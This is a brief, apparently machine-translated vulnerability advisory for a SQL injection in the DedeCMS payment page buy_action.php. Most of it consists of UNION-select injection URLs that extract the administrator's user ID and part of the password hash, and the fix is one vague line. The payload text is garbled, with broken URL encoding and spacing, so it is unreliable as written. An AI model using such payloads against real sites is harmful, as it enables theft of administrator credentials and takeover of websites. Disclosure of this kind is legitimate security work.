DedeCMS payment page injection vulnerability and repair

Release date: 2011-03.23
Author: publisher name

Affected Version: dodecms.
Http://www.dedecms.com

Vulnerability Type: SQL Injection

Vulnerability Description: DedeCMS. zhimeng buy_action.php has been injected. You can use the SQL query code to crack the Administrator's password.

Vulnerability Testing:

Register a user at the following address:
/Member/index_do.php? Fmdo = user & dopost = regnew

Burst management account:
/Member/buy_action.php? Product = member & pid = 1% 20and % 201 = 11% 20 union % 20 select % ,,2, userid, 20% % 20 from % 23 @__ admin /*

Blow administrator password
/Member/buy_action.php? Product = member & pid = 1% 20and % 201 = 11% 20 union % 20 select % ,,2, substring (pwd, 9,16), 4,5% 20 from % 20% 23 @__ admin /*

Fixed: filter the page